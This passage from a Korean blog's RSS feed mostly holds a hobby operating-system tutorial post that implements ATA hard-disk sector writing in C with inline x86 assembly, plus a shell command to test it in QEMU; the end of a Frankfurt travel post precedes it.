&lt;p&gt;숙소는 Adina Apartment Hotel Frankfrut Neue Oper 였는데, 전형적인 아파트먼트 호텔이었다. 숙소 내부 사진을 하나도 찍지 못한 것이 아쉬울 정도로 내부 구조는 마음에 들었다. 3명이었기에 더블베드 + 간이침대로 예약을 했는데 간이침대는 거실의 쇼파에 연결을 한 구조였고 주방에는 하이라이트 2구와 싱크대, 그리고 식탁이 있었다. 매번 여행을 다니며 간이 테이블에 식사를 해결했던지라 식탁이 너무 좋았고, 주방기구들도 왠만한건 다 구비되어 작정하고 요리를 할 수 있었다. 다만 몇몇 기구들은 제대로 세척이 되어있지 않았다는 점이 아쉬웠지만.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;첫 날이었고, 저녁이었기에 면세점에서 산 카카오프렌즈 다이어리를 확인하고, 짐을 풀고 바로 침대에서 뻗었다. 만족스러운 출발이었다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>잡담&amp;amp;계획/2019-동계 동유럽</category>
      <author>NONE_31D</author>
      <guid isPermaLink="true">https://pseudo-comsci.tistory.com/72</guid>
      <comments>https://pseudo-comsci.tistory.com/72#entry72comment</comments>
      <pubDate>Sun, 5 Jan 2020 23:37:05 +0900</pubDate>
    </item>
    <item>
      <title>#n+4 하드디스크 쓰기</title>
      <link>https://pseudo-comsci.tistory.com/71</link>
      <description>&lt;p&gt;하드디스크 쓰기를 구현해보도록 하자.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;#function.h - HDDwrite()&lt;/p&gt;
&lt;div style=&quot;color: #d4d4d4; background-color: #1e1e1e; font-family: Consolas, 'Courier New', monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;
&lt;div&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;void&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;HDDwrite&lt;/span&gt;(&lt;span style=&quot;color: #569cd6;&quot;&gt;unsigned&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;sector&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;*&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;buffer&lt;/span&gt;)&lt;/div&gt;
&lt;div&gt;{&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;unsigned&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;LBA_a&amp;nbsp;=&amp;nbsp;sector&amp;nbsp;&amp;amp;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0xFF&lt;/span&gt;;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;unsigned&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;LBA_b&amp;nbsp;=&amp;nbsp;(sector&amp;nbsp;&amp;gt;&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;8&lt;/span&gt;)&amp;nbsp;&amp;amp;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0xFF&lt;/span&gt;;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;unsigned&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;LBA_c&amp;nbsp;=&amp;nbsp;(sector&amp;nbsp;&amp;gt;&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;16&lt;/span&gt;)&amp;nbsp;&amp;amp;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0xFF&lt;/span&gt;;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;unsigned&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;LBA_d&amp;nbsp;=&amp;nbsp;((sector&amp;nbsp;&amp;gt;&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;24&lt;/span&gt;)&amp;nbsp;&amp;amp;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x0F&lt;/span&gt;)&amp;nbsp;|&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0xE0&lt;/span&gt;;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm__&amp;nbsp;__volatile__&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;al,&amp;nbsp;0;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;dx,&amp;nbsp;0x3F6;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;out&amp;nbsp;dx,&amp;nbsp;al;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;);&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;while&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #dcdcaa;&quot;&gt;HDD_BSY&lt;/span&gt;()&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;);&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm__&amp;nbsp;__volatile__&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;al,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #f44747;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;0;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;dx,&amp;nbsp;0x1F6;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;out&amp;nbsp;dx,&amp;nbsp;al;&quot;&lt;/span&gt;::&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;r&quot;&lt;/span&gt;(LBA_d)&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;);&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm__&amp;nbsp;__volatile__&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;al,&amp;nbsp;0x01;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;dx,0x1F2;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;out&amp;nbsp;dx,&amp;nbsp;al;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;);&amp;nbsp;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm__&amp;nbsp;__volatile__&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;al,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #f44747;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;0;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;dx,0x1F3;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;out&amp;nbsp;dx,&amp;nbsp;al;&quot;&lt;/span&gt;&amp;nbsp;::&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;r&quot;&lt;/span&gt;(LBA_a)&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;);&amp;nbsp;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm__&amp;nbsp;__volatile__&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;al,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #f44747;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;0;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;dx,0x1F4;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;out&amp;nbsp;dx,&amp;nbsp;al;&quot;&lt;/span&gt;&amp;nbsp;::&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;r&quot;&lt;/span&gt;(LBA_b)&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;);&amp;nbsp;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm__&amp;nbsp;__volatile__&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;al,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #f44747;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;0;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;dx,0x1F5;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;out&amp;nbsp;dx,&amp;nbsp;al;&quot;&lt;/span&gt;&amp;nbsp;::&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;r&quot;&lt;/span&gt;(LBA_c)&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;);&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;while&lt;/span&gt;&amp;nbsp;((&lt;span style=&quot;color: #dcdcaa;&quot;&gt;HDD_BSY&lt;/span&gt;()&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;)&amp;nbsp;||&amp;nbsp;(&lt;span style=&quot;color: #dcdcaa;&quot;&gt;HDD_DRDY&lt;/span&gt;()&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;));&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;// 0x30 : write&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm__&amp;nbsp;__volatile__&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;al,&amp;nbsp;0x30;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;dx,0x1F7;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;out&amp;nbsp;dx,&amp;nbsp;al;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;);&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #dcdcaa;&quot;&gt;HDD_ERR&lt;/span&gt;()&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;)&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;kprintf&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;Error!!&quot;&lt;/span&gt;,&amp;nbsp;videomaxline&amp;nbsp;-&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;);&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;while&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #dcdcaa;&quot;&gt;HDD_DRQ&lt;/span&gt;()&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;);&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm__&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;__volatile__&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;dx,0x1F0;&quot;&lt;/span&gt;);&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm__&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;__volatile__&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;esi,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #f44747;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;0;&quot;&lt;/span&gt;&amp;nbsp;:&amp;nbsp;:&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;r&quot;&lt;/span&gt;(buffer));&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm__&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;__volatile__&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;ecx,&amp;nbsp;256&quot;&lt;/span&gt;);&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm__&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;__volatile__&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;rep&amp;nbsp;outsw&quot;&lt;/span&gt;);&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;}&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;- 0x30 : write 명령&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이를 검증할 수 있는 쉘 명령어를 만든다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;#shell.c - sh_HDDwrite()&lt;/p&gt;
&lt;div style=&quot;color: #d4d4d4; background-color: #1e1e1e; font-family: Consolas, 'Courier New', monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;
&lt;div&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;void&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;sh_HDDwrite&lt;/span&gt;()&lt;/div&gt;
&lt;div&gt;{&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;unsigned&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;test&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;512&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;Hello&amp;nbsp;world!&quot;&lt;/span&gt;;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;HDDwrite&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;2&lt;/span&gt;,&amp;nbsp;test);&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;HDDwrite&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;3&lt;/span&gt;,&amp;nbsp;test);&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;}&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;#main.c - translate_shell()&lt;/p&gt;
&lt;div style=&quot;color: #d4d4d4; background-color: #1e1e1e; font-family: Consolas, 'Courier New', monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;
&lt;div&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;void&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;translate_shell&lt;/span&gt;()&lt;/div&gt;
&lt;div&gt;{&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;keyboard&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;]&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;)&amp;nbsp;{&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;;&amp;nbsp;}&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;명령어&amp;nbsp;없이&amp;nbsp;그냥&amp;nbsp;ENTER&amp;nbsp;침&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #dcdcaa;&quot;&gt;kstrcmp&lt;/span&gt;(keyboard,&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;clear&quot;&lt;/span&gt;))&amp;nbsp;{&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;sh_clear&lt;/span&gt;();&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;;&amp;nbsp;}&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #dcdcaa;&quot;&gt;kstrcmp&lt;/span&gt;(keyboard,&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;version&quot;&lt;/span&gt;))&amp;nbsp;{&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;sh_version&lt;/span&gt;();&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;;&amp;nbsp;}&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #dcdcaa;&quot;&gt;kstrcmp&lt;/span&gt;(keyboard,&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;read&quot;&lt;/span&gt;))&amp;nbsp;{&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;sh_HDDread&lt;/span&gt;();&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;;&amp;nbsp;}&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #dcdcaa;&quot;&gt;kstrcmp&lt;/span&gt;(keyboard,&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;write&quot;&lt;/span&gt;))&amp;nbsp;{&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;sh_HDDwrite&lt;/span&gt;();&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;;&amp;nbsp;}&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;kprintf&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;There&amp;nbsp;is&amp;nbsp;no&amp;nbsp;such&amp;nbsp;command.&quot;&lt;/span&gt;,++curline,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;);&lt;/div&gt;
&lt;div&gt;}&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;- write 를 치면 shHDDwrite() 함수가 실행될 수 있도록 쉘 명령어를 구현해준다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;hdd.img를 먼저 확인해보면 섹터 2와 3이 다음과 같이 비어있는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Qemu 를 통해 확인해보면 아무것도 쓰이지 않는다. 하지만 hdd.img 를 확인해보면 섹터에는 문자열이 저장된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bu6OUV/btqAhqZbLCP/tIdKp2s6vmhlr9mGMkrJq1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bu6OUV/btqAhqZbLCP/tIdKp2s6vmhlr9mGMkrJq1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bu6OUV/btqAhqZbLCP/tIdKp2s6vmhlr9mGMkrJq1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbu6OUV%2FbtqAhqZbLCP%2FtIdKp2s6vmhlr9mGMkrJq1%2Fimg.png&quot; 